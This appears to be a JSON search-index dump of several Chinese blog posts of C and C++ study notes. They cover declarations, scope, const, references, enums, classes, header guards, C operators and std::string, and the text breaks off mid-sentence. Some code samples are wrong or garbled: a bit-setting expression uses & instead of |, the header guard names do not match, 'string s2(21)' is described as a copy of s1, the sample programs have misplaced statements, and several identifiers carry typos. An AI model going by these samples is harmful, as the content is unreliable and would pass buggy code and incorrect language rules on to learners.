用于为变量分配存储空间,还可以为变量指定初始值。在一个程序中,变量有且仅有一个定义。\n声明(declaration) 用于向程序表明变量的类型和名字。定义也是声明:当定义变量时我们声明了它的类型和名字。可以通过使用extern关键字声明变量名而不定义它。不定义变量的声明包括对象名、对象类型和对象类型前的关键字extern:\nextern int i; //声明int i; //定义\n\nextern声明不是定义,也不分配存储空间。事实上,它只是说明变量定义在程序的其他地方。程序中变量可以声明多次,但只能定义一次。\n只有当声明也是定义时,声明才可以有初始化式,因为只有定义才分配存储空间。初始化式必须要有存储空间来进行初始化。如果声明有初始化式,那么它可被当作是定义,即使声明标记为extern:\nextern double pi=3.1416;\n\n虽然使用了extern,但是这条语句还是定义了pi,分配并初始化了存储空间。只有当extern声明位于函数外部时,才可以含有初始化式。\n因为已初始化的extern声明被当作是定义,所以该变量任何随后的定义都是错误的。\n同样,随后的含有初始化式的extern声明也是错误的。\n\n在C++语言中,变量必须且仅能定义一次,而且在使用变量之前必须定义或声明变量。\n\n任何在多个文件中使用的变量都需要有与定义分离的声明。在这种情况下,一个文件含有变量的定义,使用该变量的其他文件则包含该变量的声明(而不是定义)。\n名字的作用域C++程序中,每个名字都与唯一的实体(比如变量、函数和类型等)相关联。尽管有这样的要求,还是可以在程序中多次使用同一个名字,只要它用在不同的上下文中,且通过这些上下文可以区分该名字的不同意义。用来区分名字的不同意义的上下文称为作用域(scope)。作用域是程序的一段区域。一个名称可以和不同作用域中的不同实体相关联。\nC++语言中,大多数作用域是用花括号来界定的。一般来说,名字从其声明点开始直到其声明所在的作用域结束处都是可见的。\n#include <iostream>int main(){\tint sum=0;\tfor(int val=1;val<=10;val++){\t\tsum+=val;\tstd::cout<<"hello"<<endl;\treturn 0;\t}}\n\n这个程序定义了三个名字,使用了两个标准库的名字。程序定义了一个名为main的函数,以及两个名为sum和val的变量。名字main定义在所有花括号之外,在整个程序都可见。定义在所有函数外部的名字具有全局作用域(global scope) ,可以在程序中的任何地方访问。名字sum定义在main函数的作用域中,在整个main函数中都可以访问,但在main函数外则不能。变量sum有局部作用域(local scope) 。名字val更有意思,它定义在for语句的作用域中,只能在for语句中使用,而不能用在main函数的其他地方。它具有语句作用域(statement scope)。\nC++中作用域可嵌套\n定义在全局作用域中的名字可以在局部作用域中使用,定义在全局作用域中的名字和定义在函数的局部作用域中的名字可以在语句作用域中使用,等等。名字还可以在内部作用域中重新定义。理解和名字相关联的实体需要明白定义名字的作用域:\n#include <iostream>#include <string>std::string s1="hello";int main(){\tstd::string s2="world";\tstd::cout<<s1<<" "<<s2<<std::endl;\tint s1=42;\tstd::cout<<s1<<" "<<s2<<std::endl;\treturn 0;}\n这个程序中定义了三个变量:string类型的全局变量s1、string类型的局部变量s2和int类型的局部变量s1。局部变量s1的定义屏蔽(hide)了全局变量s1。\n变量从声明开始才可见,因此执行第一次输出时局部变量s1不可见,输出表达式中的s1是全局变量s1,输出 “hello world”。第二条输出语句跟在s1的局部定义后,现在局部变量s1在作用域中。第二条输出语句使用的是局部变量s1而不是全局变量s1,输出“42 world”。\n\n注意:在函数内定义一个函数可能会用到的全局变量同名的局部变量总是不好的。局部变量最好使用不同的名字。\n\n在变量使用处定义变量一般来说,变量的定义或声明可以放在程序中能摆放语句的任何位置。变量在使用前必须先声明或定义。\n在对象第一次被使用的地方定义对象可以提高程序的可读性。读者不需要返回到代码段的开始位置去寻找某一特殊变量的定义,而且,在此处定义变量,更容易给它赋以有意义的初始值。\n放置声明的一个约束是,变量只在从其定义处开始到该声明所在的作用域的结束处才可以访问。必须在使用该变量的最外层作用域里面或之前定义变量。\nconst限定符1.定义const对象\n定义一个变量代表某一常数的方法仍然有一个严重的问题。即变量是可以被修改的。\n变量可能被有意或无意地修改。const限定符提供了一个解决办法,它把一个对象转换成一个常量。\nconst int bufsize=512;\n利用const关键字定义一个常量,常量是不可修改的,任何修改常量的尝试都会报错。\n因为常量在定义后就不能被修改,所以定义时必须初始化。\n2.const对象默认为文件的局部变量\n在全局作用域力定义非const变量时,它在整个程序中都可以访问。我们可以把一个非const变量定义在一个文件中,假设已经做了合适的声明,就可在另外的文件中使用这个变量:\n//file1.ccint counter;//file2.ccextern int counter;counter++;\n与其他变量不同,除非特别说明,在全局作用域声明的const变量是定义该对象的文件的局部变量。此变量只存在于那个文件中,不能被其他文件访问。\n通过指定const变量为extern就可以在整个程序中访问const对象:\n//file1.ccextern const int buf=fcn();//file2.ccextern const int buf;\n\n\n\n注解:非const变量默认为extern。要使const变量能够在其他的文件中访问,必须显式地指定它为extern。\n\n引用引用(reference) 就是对象的另一个名字。在实际程序中,引用主要作函数的形式参数。\n引用是一种复合类型(compound type),通过在变量名前添加 “&” 符号来定义。符号类型是指用其他类型定义的类型。在引用的情况下,每一种引用类型都 “关联到” 某一其他类型。不能定义引用类型的引用,但可以定义任何其他类型的引用。\n引用必须用与该引用同类型的对象初始化:\nint ival=1024;int &refVal=ival;\n\n1.引用是别名\n因为引用只是它绑定的对象的另一名字,作用在引用上的所有操作事实上都是作用在该引用绑定的对象上:\nrefVal+=2;\n\n\n注意:当引用初始化后,只要该引用存在,它就保持绑定到初始化时指向的对象。不可能将引用绑定到另一个对象。\n\n要理解的重要概念是引用只是对象的另一名字。事实上,我们可以通过ival的原名访问ival,也可以通过它的别名refVal访问。赋值只是另外一种操作。\n初始化是指明引用指向哪个对象的唯一方法。\n2.定义多个引用可以在一个类型定义行中定义多个引用。必须在每个引用标识符前添加 “&” 符号:\nint i=1024,i2=2048;int &r=i,r2=i2;it i3=1024,&ri=i3;int &r3=i3,&r4=i2;\n\n3.const引用\nconst引用是指向const对象的引用:\nconst int ival=1024;const int &refVal=ival;int &ref2=ival; //error\n\n可以读取但不能修改refVal,因此,任何对refVal的赋值都是不合法的。这个限制有其意义:\n不能直接对ival赋值,因此不能通过使用refVal来修改ival。\n同理,用ival初始化ref2也是不合法的:ref2是普通的非const引用(nonconst reference),因此可以用来修改ref2指向的对象的值。\nconst引用可以初始化为不同类型的对象或者初始化为右值,如字面值常量:\nconst int &r=42;\n\n\n非const引用只能绑定到与该引用同类型的对象。const引用则可以绑定到不同但相关的类型的对象或绑定到右值。\n\ntypedef名字typedef可以用来定义类型的同义词:\ntypedef double wages;typedef int exam_score;\ntypedef定义以关键字typedef开始,后面是数据类型和标识符。标识符或类型名并没有引入新的类型,而只是现有数据类型的同义词。typedef名字可出现在程序中类型名可出现的任何位置。\ntypedef通常被用于以下三种目的:\n\n为了隐藏特定类型的实现,强调使用类型的目的。\n简化复杂的类型定义,使其更易理解。\n允许一种类型用于多个目的,同时使得每次使用该类型的目的明确。\n\n枚举我们需要为某些属性定义一组可选择的值。例如,文件打开的状态可能会有三种:输入、输出和追加。记录这些状态值的一种方法是每种状态都与一个唯一的常数值相关联。\n1.定义和初始化枚举枚举的定义包括关键字enum,其后是一个可选的枚举类型名,和一个花括号括起来、用逗号分开的枚举成员(enumerator) 列表。\nenum open_modes{input,output,append};\n\n默认地,第一个枚举成员赋值为0,后面的每个枚举成员赋的值比前面的大1。\n2.枚举成员是常量\n可以为一个或多个枚举成员提供初始值,用来初始化枚举成员的值必须是一个常量表达式(constant expression) 常量表达式是编译器在编译时就能够计算出结果的整型表达式。整型字面值常量是常量表达式,正如一个通过常量表达式自我初始化的const对象也是常量表达式一样。\nenum Forms{shape=1,sphere,cylinder,polygon};\n\n在枚举类型Forms中,显示将shape赋值为1。其他枚举成员隐式初始化:sphere初始化为2,cylinder初始化为3,polygon初始化为4.\n枚举成员值可以是不唯一的。\nenum Points{ point2d=2,point2w,\t\t\t point3d=3,pint3w};\n本例中,枚举成员pint2d显示初始化为2.下一个枚举成员point2w默认初始化,即它的值比前一枚举成员的值大1,因此point2w吹时候为3。枚举成员pint3d显示初始化为3。一样,point3w默认初始化,结果为4。\n不能改变枚举成员的值。枚举成员本书就是一个常量表达式,所以也可用于需要常量表达式的任何地方。\n3.每个enum都定义一种唯一的类型\n每个enum都定义了一种新的类型。和其他类型一样,可以定义和初始化Points类型的对象,也可以以不同的方式使用这些对象。枚举类型的对象的初始化或赋值,只能通过其枚举成员或同一枚举类型的其他对象来进行。\nPoints pt3d=point3d;Points pt2w=3; //errorpt2w=polygon; //errorpt2w=pt3d;\n注意把3赋给Points对象是非法的,即使3与一个Points枚举成员相关联。\n类类型C++中,通过定义类(class)来自定义数据类型。类定义了该类型的对象包含的数据和该类型的对象可以指向的操作。标准库类型string、istream和ostream都定义成类。\n1.从操作开始设计类\n每个类都定义了一个接口(interface) 和一个实现(implementation)。接口由使用该类的代码需要执行的操作完成。实现一般包括该类所需要的数据。实现还包括定义该类需要的但又不供一般性使用的函数。\n定义类时,通常先定义该类的接口,即该类所提供的操作。通过这些操作,可以决定该类完成其功能所需要的数据,以及是否需要定义一些函数来支持该类的实现。\n2.定义Sales_item类\n定义类:\nclass Sales_item{public:private:\tstd::string isbn;\tunsigned units_sold;\tdouble revenue;};\n类定义以关键字class开始,其后是该类的名字标识符。类体位于花括号里面。花括号后面必须要跟一个分号。\n类体可以为空。类体定义了组成该类型的数据和操作。这些操作和数据是类的一部分,也称为类的成员(member)。操作称为成员函数,而数据则称为数据成员(data member)。\n类也可以包含0个到多个private或public访问标号(access label)。访问标号控制类的成员在类外部是否可访问。使用该类的代码可能只能访问public成员。\n定义了类,也就定义了一种新的类型。类名就是该类型的名字。通过命名Sales_item类,表示Sales_item是一种新的类型,而且程序也可以定义该类型的变量。\n每一个类都定义了它自己的作用域。也就是说,数据和操作的名字在类的内部必须唯一,但可以重用定义在类外的名字。\n3.类的数据成员\n定义类的数据成员和定义普通变量有些相似。我们同样是指定一种类型并给该成员一个名字。\n定义变量和定义数据成员存在非常重要的区别:一般不能把类成员的初始化作为其定义的一部分。当定义数据成员时,只能指定该数据成员的名字和类型。类不是在类定义里定义数据成员时初始化数据成员,而是通过称为构造函数的特殊成员函数控制初始化。\n4.访问标号\n访问标号负责控制使用该类的代码是否可以使用给定的成员。类的成员函数可以使用类的任何成员,而不管其访问级别。访问标号public、private可以多次出现在类定义中。给定的访问标号应用到下一个访问标号出现时为止。\n类中public部分定义的成员在程序的任何部分都可以访问。一般把操作放在public部分,这样程序的任何代码都可以执行这些操作。\n不是类的组成部分的代码不能访问private成员。通过设定Sales_item的数据成员为private,可以保证对Sales_item对象进行操作的代码不能直接操纵器数据成员。\n5.使用struct关键字\nC++支持另一个关键字struct,它也可以定义类类型。struct关键字是从C语言中继承过来的。\n如果使用class关键字来定义类,那么定义在第一个访问标号前的任何成员都隐式指定为private;如果使用struct关键字,那么这些成员都是public。使用class还是struct关键字来定义类,仅仅影响默认的初始访问级别。\nstruct Sales_item{private:\tstd::string isbn;\tunsigned units_sold;\tdouble revenue;};\n\n\n用class和struct关键字定义类的唯一差别在于默认访问级别:默认情况下,struct的成员为public,而class的成员为private。\n\n编写自己的头文件一般类定义都会放入头文件(header file)。\n事实上,C++使用头文件包含的不仅仅是类定义。\n由多个文件组成的程序需要一种方法连接名字的使用和声明,在C++中这时通过头文件实现的。\n为了允许把程序分成独立的逻辑块,C++支持所谓的分别编译(separate compilation)。这样程序可以由多个文件组成。为了支持分别编译,我们的类的定义放在一个头文件里面。我们将定义的成员函数放在单独的源文件中。任何使用类的源文件都必须包含类的头文件。\n设计自己的头文件头文件为相关声明提供了一个集中存放的位置。头文件一般包含类的定义、extern变量的声明和函数的声明。使用或定义这些实体的文件要包含适当的头文件。\n头文件的正确使用能够带来两个好处:保证所有文件使用给定实体的同一声明;当声明需要修改时,只有头文件需要更新。\n设计头文件还需要注意以下几点:头文件中所做的声明在逻辑上应该是适于放在一起的。编译头文件需要一定的时间。如果头文件太大,程序员可能不愿意承受包含该头文件所带来的编译时代价。\n\n为了减少处理头文件的编译时间,有些C++的实现支持预编译头文件。\n\n1.头文件用于声明而不是用于定义\n当设计头文件时,记住定义和声明的区别是很重要的。定义只可以出现一次,而声明则可以出现多次。\n下列语句是一些定义,所以不应该放在头文件里:\nextern int ival=10;double fica_rate;\n\n\n注意:因为头文件包含在多个源文件中,所以不应该含有变量或函数的定义。\n\n对于头文件不应该含有定义这一规则,有三个例外。头文件可以定义类、值在编译时就已知道的const对象和inline函数。这些实体可以在多个源文件中定义,只要每个源文件中的定义是相同的。\n在头文件中定义这些实体,是因为编译器需要它们的定义(不只是声明)来产生代码。为了产生能定义或使用类的对象的代码,编译器需要指定组成该类型的数据成员。同一还需要知道能够在这些对象上执行的操作。类定义提供所需要的信息。在头文件中定义const对象则需要更多的解释。\n2.一些const对象定义在头文件中\nconst变量默认时是定义该变量的文件的局部变量。正如我们现在所看到的,这样设置默认情况的原因在于允许const变量定义在头文件中。\n预处理器的简单介绍#include设施是C++预处理器(preprocessor) 的一部分。预处理器处理程序的源代码,在编译器之前运行。C++继承了C的非常精细的预处理器。现在的C++程序以高度受限的方式使用预处理器。\n#include指示只接受一个参数:头文件名。预处理器用指定的头文件的内容替代每个#include。我们自己的头文件存储在文件中。系统的头文件可能用特定于编译器的更高效的格式保存。无论头文件以何种形式保存,一般都含有支持分别编译所需的类定义及变量和函数的声明。\n1.头文件经常需要其他头文件\n头文件经常#include其他头文件。头文件定义的实体经常使用其他头文件的设施。\n包含其他头文件是如此司空见惯,甚至一个头文件被多次包含进同一源文件也不稀奇。\n设计头文件时,应使其可以多次包含在同一源文件中,这一点很重要。我们必须保证多次包含同一头文件不会引起该头文件定义的类和对象被多次定义。使得头文件安全的通用做法,是使用预处理器定义头文件保护符(header guard)。头文件保护符用于避免在已经见到头文件的情况下重新处理该头文件的内容。\n2.避免多重包含\n在编写头文件之前,我们需要引入一些额外的预处理器设施。预处理器运行我们自定义变量。\n\n注意:预处理器变量的名字在程序中必须是唯一的。任何与预处理器变量相匹配的名字的使用都关联到该预处理器变量。\n\n为了避免名字冲突,预处理器变量经常用全大写字母表示。\n预处理器变量有两种状态:已定义或未定义。定义预处理器变量和检测其状态所用的预处理器指示不同。#define指示接受一个名字并定义该名字为预处理器变量。#ifndef指示检测指定的预处理器变量是否未定义。如果预处理器变量未定义,那么跟在其后的所有指示都被处理,直到出现#endif。\n可以使用这些设施来预防多次包含同一头文件:\n#ifndef SALESITE_H#define SALESITEM_H#endif\n\n为了保证头文件在给定的源文件中只处理过一次,我们首先检测#ifndef。第一次处理头文件时,测试会成功,因为SALESITEM_H还未定义。下一条语句定义了SALESITEM_H。那样的话,如果我们编译的文件恰好又一次包含了该头文件。#ifndef指示会发现SALESITEM_H已经定义,并且忽略该头文件的剩余部分。\n\n头文件应该含有保护符,即使这些头文件不会被其他头文件包含。编写头文件保护符并不困难,而且如果头文件被包含多次,它可以避免难以理解的编译错误。\n\n当没有两个头文件定义和使用同名的预处理器变量时,这个策略相当有效。我们可以用定义在头文件里的实体(如类)来命名预处理器变量来编码预处理器变量重名的问题。一个程序只能含有一个名为Sales_item的类。通过使用类名来组成头文件和预处理器变量的名字,可以使得很可能只有一个文件将会使用该预处理器变量。\n3.使用自定义的头文件\n如果头文件名括在尖括号(<>)里,那么认为该头文件是标准头文件。编译器将会在预定义的位置查找该头文件,这些预定义的位置可以通过查找路径环境变量或者通过命令行选项来修改。\n如果头文件名括在一对引号里,那么认为它是非系统头文件,非系统头文件的查找通常开始于源文件所在的路径。\n","categories":["编程"],"tags":["Cpp"]},{"title":"C chapter4 操作符和表达式","url":"/2024/10/27/program/c/c-ptr-4/","content":"操作符算术操作符C提供了所有常用的算术操作符:\n+ - * / %\n\n除了%操作符,其余几个操作符都是即适用于浮点类型又适用于整数类型。当/操作符的两个操作数都是整数时,它执行整除运算,在其他情况下则执行浮点数除法。%取模操作符,它返回余数。\n移位操作符在左移位中,值最左边的几位被丢弃,右边空出来的几个空位则由0补齐。\n右移位可以选择逻辑移位或算术移位。\n逻辑移位,左边移入的位用0填充;\n算术移位,左边移入的位由原先该值的符号位决定,符号位为1则移入的位均为1,符号位为0则移入的位均为0,这样能够保持原数的正负形式不变。\n算术左移和逻辑左移是相同的,它们只在右移时不同,而且只有当操作数是负值时才不一样。\n左移位操作符为<<,右移位操作符为>>。左操作树的值将移动由右操作数指定的位数。两个操作数必须是整型类型。\n\n警告:标准说明无符号值执行的所有移位操作都是逻辑移位,但对于有符号值,到底是采用逻辑移位还是算术移位取决于编译器。\n\n位操作符位操作符对它们的操作数各个位执行 AND、OR 和 XOR(异或)等逻辑操作。\n它们要求操作数为整数类型,它们对操作数对应的位进行指定的操作,每次对左右操作数的各一位进行操作。\n位的操纵\n下面的表达式显示了如何通过移位操作符和位操作符来操纵一个整型值中的单个位。\n将指定的位设置为1。\nvalue=value &1 << bit_number;\n\n把指定的为清0\nvalue=value &~ (1<<bit_number);\n\n对指定的位进行测试,如果该位被置为1,则表达式的结果为非零值。\nvalue & 1 << bit_number\n\n赋值赋值操作符用一个等号表示。赋值是表达式的一种,而不是某种类型的语句。\n只要运行出现表达式的地方,都允许进行赋值。\n复合赋值符\n到目前为止所介绍的操作符都还有一种复合赋值的形式:\n+= -= *= /= %=<<= >>= &= ^= |=\n\n单目操作符C具有一些单目操作符,也就是只接受一个操作数的操作符。\n! ++ - & sizeof~ -- + * (类型)\n\n\n! 操作符对它的操作数进行逻辑反操作。\n~ 操作符整型的操作数进行求补操作。\n+ 操作符产生操作数的值。\n- 操作符产生操作数的负值。\n++ 自增操作符\n-- 自减操作符\n& 操作符产生它的操作数的地址\n* 操作符是间接访问操作符,用于访问指针所指向的值。\nsizeof 操作符判断它的操作数的类型长度,以字节为单位。操作数既可以是表达式,也可以是加上括号的类型名。\n(类型) 操作符被称为强制类型转换(cast),它用于显示地把表达式的值转换为另外的类型。\n\n关系操作符> >= < <= != ==\n这些操作符产生的结果都是一个整型值,而不是布尔值。\n表达式的结果如果是0,它就认为是假;表达式的结果如果是任何非零值,它被认为是真。\n逻辑操作符逻辑操作符有&&和||。\n它们对于表达式求值,测试它们的值是真还是假。\n&&操作符的左操作数总是首先进行求值,如果它的值为真,然后就紧接着对右操作数进行求值。\n||操作符也具有相同的特点,它首先对左操作符进行求值,如果它的值是真,右操作数变不再求值,因为整个表达式的值此时已经确定。这个行为常常被称为 “短路求值”。\n条件操作符条件操作符接受三个操作数。它也会控制子表达式的求值顺序。\n语法:\nexpression1 ? expression2 : expression3\n\n条件操作符的优先级非常低,所以它的各个操作数即使不加括号,一般也不会有问题。\na>5 ? a-- : a++\n\n逗号操作符expression1,expression2,...,expressionN\n\n逗号操作符将两个表达式或多个表达式分隔开来。这些表达式自左向右逐个进行求值,整个逗号表达式的值就是最后那个表达式的值。\nwhile(a=get_value(),count_value(a),a>0){\t...}\n\n下标引用、函数调用和结构成员下标引用操作符是一对方括号。下标引用操作符接受两个操作数:一个数组名和一个索引值。事实上,下标引用并不仅限于数组名。\n除了优先级不同之外,下标引用操作和间接访问表达式是等价的。\narray[下标];*(array+(下标));\n\n下标引用实际上是以后面这种形式实现的。\n函数调用操作符接受一个或多个操作数。它的第1个操作数是你希望调用的函数名,剩余的操作数就是传递给函数的参数。把函数调用以操作符的意味着 “表达式” 可以代替 “常量” 作为函数名,事实也确实如此。\n.和->操作符用于访问一个结构的成员。如果s是个结构变量,那么s.a就访问s中名叫a的成员。当你拥有一个指向结构的指针而不是结构本身,且欲访问它的成员时,就需要使用->操作符而不是.操作符。\n布尔值C并不具备显示的布尔类型,所以使用整数来代替。\n其规则是:零是假,任何非零值皆为真。\n\n警告:尽管所有的非零值都被认为是真,但是当你在两个真值之间相互比较时必须小心,因为许多不同的值都可以代表真。\n\n\n提示:解决所有这些问题的方法是避免混合使用整型值和布尔值。如果一个变量包含了一个任意的整型值,你应该显示地对它进行测试:\n\nif(number)if(!number)\n\n左值和右值为了理解有些操作符存在的限制,你必须理解左值(L-value) 和右值(R-value) 之间的区别。\n左值就是那些能够出现在复制符号左边的东西。右值就是那些可以出现在复制符号右边的东西。\n表达式求值表达式的求值顺序一部分是由它所包含的操作符的优先级和结合性决定。同样,有些表达式的操作数在求值过程中可能需要转换为其他类型。\n隐式类型转换C 的整型算术运算总是至少以缺省整型类型的精度来进行的。为了获得这个精度,表达式中的字符型和短整型操作数在使用之前被转换为普通整型,这种转换称为整型提升。\nchar a,b,c;a=b+c;\nb和c的值被提升为普通整型,然后再指向加法运算。加法运算的结构将被截短,然后再存储于a中。\n下面这个例子中,由于存在求补和左移操作,所以8位的精度是不够的。标准要求进行完整的整型求值,所以对于这类表达式的结构,不会存在歧义性。\na=(~a^b<<1)>>1;\n\n算术转换如果某个操作符的各个操作数属于不同的类型,那么除非其中一个操作数转换为另外一个操作数的类型,否则操作就无法进行。下面的层次体系称为**寻常算术转换(usual arithmetic conversion)**。\nlong doubledoublefloatunsigned long intlong intunsigned intint\n\n如果某个操作数的类型在上面这个列表中排名较低,那么它首先将转换为另外一个操作数的类型然后执行操作。\n操作符的属性复杂表达式的求值顺序是3个因素决定的:操作符的优先级、操作符的结合性以及操作符是否控制执行的顺序。\n两个相邻的操作符哪个先执行取决于它们的优先级,如果两者的优先级相同,那么它们的执行顺序由它们的结合性决定。结合性就是一串操作符是从左向右依次执行还是从右向左逐个执行。有4个操作符,它们可以对整个表达式的求值顺序施加控制,它们或者保证某个子表达式能够在另一个子表达式的所有求值过程完成之前进行求值,或者可能使某个表达式被完全跳过不再求值。\n\n优先级和求值的顺序两个相邻的操作符的执行顺序由它们的优先级决定。如果它们的优先级相同,它们的执行顺序由它们的结合性决定。除此之外,编译器可以自由决定使用任何顺序对表达式进行求值,只要它不违背逗号、&&、||和?:操作符所施加的限制。\n换句话说,表达式中操作符的优先级只决定表达式的各个组成部分在求值过程中如何进行聚组。\n","categories":["编程"],"tags":["C"]},{"title":"C++ chapter1 基础知识","url":"/2024/10/24/program/cpp/cpp-1/","content":"C++简介C++融合了3种不同的编程方式:C语言代表的过程性语言、C++在C语言基础上添加的类代表的面向对象语言、C++模板支持的泛型编程。\n编写简单的 C++程序\n预处理器编译指令#include\n函数头:int main()\n函数体,用{}括起\n结束main()函数的return语句\n\nc++语法要求main函数的定义以函数头int main开始。\n编译与执行程序Linux\ngcc demo.cpp -o demo\n\nWindows\ncl demo.cpp\n\n\n程序源文件demo.cxxdemo.cppdemo.cpdemo.C\n\n\n输入输出对象cin\nistream类型对象,这个对象也称为标准输入。\nint v;cin >> v;\n\ncout\nostream类型对象,这个对象也称为标准输出。\nint v=1;cout <<v<<endl;\n\n还有两个ostream对象,分别命名为cerr和clog。\ncerr对象又叫做标准错误,通常用来输出警告和错误信息。\nclog对象用于产生程序执行的一般信息。\n注释单行注释\n//这是一个单行注释\n\n多行注释\n/*这是一个多行注释*/\n\n\n注意:注释不可以嵌套\n\n控制结构while\nint i=0;while(i<10){ i++;}\n\nfor\nfor(int i=0;i<10;i++){\ti++;}\n\nif\nif(i>10){}else{}\n\n\n\n类简介C++中我们通过定义类来定义自己的数据结构。类机制是C++中最重要的特征之一。\n事实上,C++设计的主要焦点就是使自己所定义的类类型的行为可以像内置类型一样自然。\n正如我们使用IO一样的库一样,必须包含相关的头文件。类似的,对于自定义的类,必须使得编译器可以访问和类相关的定义。这几乎可以采用同同样的方式。一般来说,我们将类定义放入一个文件中,要使用该类的任何程序都必须包含这个文件。\n一句惯例,类类型存储在一个文件中,其文件名如果程序的源文件名一样,由文件名和文件后缀两部分组成。通常文件名和定义在头文件中的类名是一样的。通常后缀为.h\n,但也有一些程序员用.H、.hpp、.hxx。\n\n注解:标准库的头文件用尖括号<>括起来,非标准的库的头文件用””括起来\n\n成员函数\n成员函数(member function) 是由类定义的函数,有时称为类方法(method) 。\n成员函数只定义一次,但被视为每个对象的成员。我们将这些函数称为成员函数,是因为它们(通常)在特定对象上操作。在这个意义上,它们是对象的成员,即使同一类型的所有对象共享同一个定义也是如此。\n当调用成员函数时,(通常)指定函数要操作的对象。语法是使用点操作符(.)。\n\n注解:与大多数操作符不同,点操作符(“ . ”)的右操作符不是对象或值,而是成员的名字。\n\n通常使用成员函数作为点操作符的右操作数来调用成员函数。执行成员函数和执行其他函数相似:要调用函数,可将调用操作符( () )放在函数名之后。调用操作符是一对圆括号,括住传递给参数的实参列表(可能为空)。\nsale.isbn(item2);\n","categories":["编程"],"tags":["Cpp"]},{"title":"C++ chapter3 标准库类型","url":"/2024/10/27/program/cpp/cpp-3/","content":"除了这些在语言中定义的类型外,C++标准库还定义了许多更高级的抽象数据类型(abstract data type)。之所以说这些标准库类型是更高级的,是因为其中反映了更复杂的概念;之所以说它们是抽象的,是因为我们在使用时不需要关心它们是如何表示的,只需指定这些抽象数据类型支持哪些操作就可以了。\n两种最重要的标准库类型是string和vector。string类型支持长度可变的字符串,vector可用于保存一组指定类型的对象。说它们重要,是因为它们在C++定义的级别类型基础上作了一些改进。\n另一种标准库类型提供了更方便和合理有效的语言级的抽象设施,它就是bitset类。通过这个类可以把某个值当作位的集合来处理。与位操作符相比,bitset类提供操作位更直接的方法。\n命名空间的using声明在前面看到的程序都是通过直接说明名字来自std命名空间,来引用标准库中的名字。这些名字都使用了::操作符,该操作符是作用域操作符。它的含义是右操作数的名字可以在左操作数的作用域中找到。因此,std::cin的意思是说所需名字cin是在命名空间std中定义的。显然,这样这样非常麻烦。\nC++提供了更简洁的方式来使用命名空间成员。using声明。\n使用using声明可以在不需要加前缀namespace_name::的情况下访问命名空间中的名字。\nusing namespace::name;\n一旦使用了using声明,我们就可以直接引用名字,而不需要再引用该名字的命名空间:\nusing std::cin;using std::string;\n\n\n1.每个名字都需要一个using声明\n一个using声明一次只能作用于一个命名空间成员。using声明可用来明确指定在程序中用到的命名空间中的名字,如果希望使用std中的几个名字,则必须为要用到的每个名字都提供一个using声明。\nusing std::cin;using std::cout;using std::endl;\n\n\n2.使用标准库类型的类定义\n有一种情况下,必须总是使用完全限定的标准库名字:在头文件中。理由是头文件的内容会被预处理器复制到程序中。用#include包含文件时,相当于头文件中的文本将称为我们编写的文件的一部分。如果在头文件中放置using声明,就相当于在包含该头文件的每个程序中都放置了同一using声明,不论该程序是否需要using声明。\n\n注意:在编译我们提供的实例程序前,读者一定要注意在程序中添加适当的#include和using声明。\n\n标准库string类型string类型支持长度可变的字符串,C++标准库将负责管理与存储字符相关的内存,以及提供各种有用的操作符。标准库string类型的目的就是满足对字符串的一般应用。\n与其他的标准库类型一样,用户程序要使用string类型对象,必须包含相关头文件。如果提供了合适的using声明,那么编写处理的程序将会变得简短些:\n#include <string>using std::string;\n\nstring对象的定义和初始化string标准库支持几个构造函数。构造函数是一个特殊成员函数,定义如何初始化该类型的对象下表列出了几个string类型常用的构造函数。当没有明确指定对象初始化式时,系统将使用默认构造函数。\n\n\n\n\n几种格式化string对象的方式\n\n\n\nstring s1;\n默认构造函数,s1为空串\n\n\nstring s2(21);\n将s2初始化为s1的一个副本\n\n\nstring s3("value");\n将s3初始化为一个字符串字面值\n\n\nstring s4(n,'c');\n将s4初始化为字符’c’的n个副本\n\n\n\n警告:标准库string类型和字符串字面值因为历史原因以及未来与C语言兼容,字符串字面值与标准库string类型不是同一种类型。\n\nstring对象的读写cin>>s;\n从标准输入读取string,并将读入的串存储在s中。string类型的输入操作符:\n\n读取并忽略开头所有的空白字符(入空格,换行符,制表符)。\n读取字符直至再次遇到空白字符,读取终止。\n\n输入和输出操作的行为与内置类型操作符级别类似。\n1.读入未知数目的string对象\n和内置类型的输入操作符一样,string的输入操作符也会返回所读的数据流。因此,可以把输入操作作为判断条件。\n下面的程序将从标准输入读取一组string对象,然后在标准输出上逐行输出:\nint main(){\tstring word;\twhile(cin>>word){\t\tcout<<word<<endl;\t}\treturn 0;}\n\n2.用getline读取整行文本\n这个函数接受两个参数:一个输入流对象和一个string对象。getline函数从输入流的下一行读取,并保存读取的内容到string中,但不包括换行符。和输入操作符不一样的是,getline并不忽略开头的换行符。只要getline遇到换行符,即便它是输入的第一个字符,getline也将停止读入并返回。如果第一个字符就是换行符,则string参数将被置为空string。\ngetline函数将istream参数作为返回值,和输入操作符一样也把它用作判断条件。\nint main(){\tstring line;\twhile(getline(cin,line))\t\tcout<<line<<endl;\treturn 0;}\n\n\n由于getline函数返回时丢弃换行符,换行符将不会存储在string对象中。\n\nstring对象的操作\n\n\n\nstring操作\n\n\n\ns.empty()\n如果s为空字符串,则返回true,否则返回false\n\n\ns.size()\n返回s中字符的个数\n\n\ns[n]\n返回s位置为n的字符,位置从0开始计数\n\n\ns1+s2\n把s1和s2连接成一个新字符串,返回新生成的字符串\n\n\ns1=s2\n把s1内容替换为s2的副本\n\n\nv1==v2\n比较v1与v2的内容,相等则返回true,否则返回false\n\n\n!=,<,<=,\n保持这些操作符惯有的含义\n\n\n>和>=\n\n\n\n1.string的size和empty操作\n\n\n\nstring对象的长度指的是string对象中字符的个数,可以通过size操作获取:\nint main(){\t\tstring st("The expense of spirit\\n");\t\tcout<<st.size()<<endl;\t\treturn 0;}\n\n了解string对象是否为空是有用的。一种方法是将size与0进行比较:\nif(st.size()==0)\n\n本例中,程序员并不需要知道string对象中有多少个字符,只想知道size是否为0。用string的成员函数empty()可以直接回答这个问题:\nif(st.empty())\n\nempty()成员函数将返回bool值,如果string对象为空则返回true,否则返回false。\n2.string::size_type类型\n从逻辑上来讲,size()成员函数似乎应该返回整型数值,或为无符号整数。\n但实际上,size操作返回的是string::size_type类型的值。我们需要对这种类型做一些解释。\nstring类类型和许多其他库类型都定义了一些配套类型(companion type)。通过这些配套类型,库类型的使用就能与机器无关(machine-independent)。size_type就是这些配套类型中的一种。它定义为与unsigned型(unsigned int 或 unsigned 